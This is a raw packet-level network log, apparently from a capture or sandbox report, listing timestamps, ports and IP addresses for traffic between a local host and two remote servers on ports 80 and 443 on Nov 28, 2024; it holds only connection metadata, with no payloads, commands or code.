Nov 28, 2024 02:27:45.023381948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.023452044 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.024221897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.024281979 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.024338961 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.024429083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.025017977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.025073051 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.025587082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.025651932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.025970936 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.026024103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.026125908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.026393890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.028753042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.028837919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.029061079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.029120922 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.029376984 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.029390097 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.029400110 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.029418945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.029444933 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.029561043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.029752016 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.030419111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.030483961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.031238079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.031300068 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.031493902 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.031506062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.031543016 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.031563044 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.032622099 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.032666922 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.032953024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.032995939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.033584118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.033596039 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.033652067 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.034559011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.034626961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.034708977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.034806967 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.035718918 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.035787106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.036000013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.036354065 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.036690950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.036746979 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.037659883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.037703991 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.037776947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.037916899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.037966013 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.038005114 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.038650036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.038705111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.039697886 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.039710999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.039752960 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.039773941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.039940119 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.039979935 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.040745974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.040792942 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.041836977 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.041847944 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.041904926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.042011023 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.042090893 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.042495966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.042547941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.042781115 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.042826891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.044066906 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.044080019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.044117928 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.044132948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.045167923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.045180082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.045241117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.045696974 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.045747995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.046262026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.046334028 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.046628952 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.046678066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.047821045 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.047835112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.047986031 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.048012018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.048023939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.048953056 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.049210072 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.050205946 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.050219059 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.050230026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.050254107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.050268888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.050820112 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.050863981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.052242041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.052254915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.052283049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.140999079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.141015053 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.141026020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.141099930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.141143084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.141567945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.141603947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.142086029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.142144918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.143285990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.143296957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.143306971 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.143343925 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.143389940 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.144160986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.144216061 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.144665003 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.144777060 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.145279884 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.145319939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.145505905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.145553112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.146266937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.146305084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.146472931 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.146506071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.147346020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.147356987 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.147389889 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.147443056 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.148371935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.148425102 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.148439884 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.148466110 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.149487972 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.149533033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.149629116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.149712086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.150378942 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.150429010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.151160955 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.151171923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.151215076 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.151248932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.151380062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.151421070 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.152600050 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.152658939 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.154114008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.154170036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.155086040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.155097008 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.155119896 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.155138016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.155149937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.155153036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.155188084 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.155606031 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.155673981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.155963898 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.156006098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.156738997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.156780958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.156900883 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.156943083 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.157681942 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.157727957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.216378927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.216439962 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.216571093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.216609955 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.216911077 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.216969013 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.217098951 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.217133045 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.217921972 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.217971087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.218072891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.218146086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.218959093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.219007015 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.219069004 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.219111919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.219975948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.220182896 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.220675945 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.220762014 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.221024990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.221062899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.221133947 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.221172094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.222059011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.222116947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.222497940 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.222548008 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.223083973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.223133087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.223330975 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.223380089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.224124908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.224358082 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.224694014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.224809885 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.225162983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.225253105 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.225594997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.226193905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.226252079 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.227252960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.227264881 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.227298021 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.227320910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.227411032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.227484941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.228250027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.228358030 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.228399992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.229286909 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.229402065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.229450941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.230341911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.230433941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.230472088 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.231362104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.231425047 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.231471062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.231508970 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.232387066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.232446909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.232492924 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.232531071 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.233448029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.233485937 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.233547926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.233582973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.234469891 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.234513998 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.234580040 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.234616995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.235497952 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.235575914 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.235605001 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.235728025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.236540079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.236596107 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.236618996 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.236651897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.237562895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.237601995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.237657070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.237709999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.238600016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.238646030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.238708973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.238750935 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.239634991 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.239677906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.239727020 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.239788055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.240669966 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.240736961 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.240776062 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.240808010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.241691113 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.241753101 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.241780043 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.241813898 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.242758036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.242820978 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.242840052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.242872953 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.243757010 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.243797064 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.243863106 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.243908882 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.244807959 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.244852066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.244903088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.244950056 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.245845079 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.245894909 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.245948076 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.245992899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.246879101 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.246917963 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.246987104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.247026920 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.247895956 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.247946978 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.247993946 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.248029947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.248928070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.248975992 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.249018908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.249057055 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.249967098 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.250014067 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.250065088 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.250155926 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.251015902 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.251063108 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.251127958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.251168966 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.252023935 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.252079964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.252121925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.252161026 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.253045082 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.253083944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.316381931 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.325536966 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.325550079 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.326695919 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.326764107 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.341478109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.341603994 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.341686010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.341948032 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.341993093 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.342073917 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.342113018 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.343039036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.343092918 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.343164921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.343282938 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.344032049 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.344140053 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.344145060 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.344235897 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.344551086 CET	49881	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:45.344746113 CET	443	49881	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:45.345120907 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.345194101 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.345230103 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.345324993 CET	49823	80	192.168.2.6	185.215.113.206
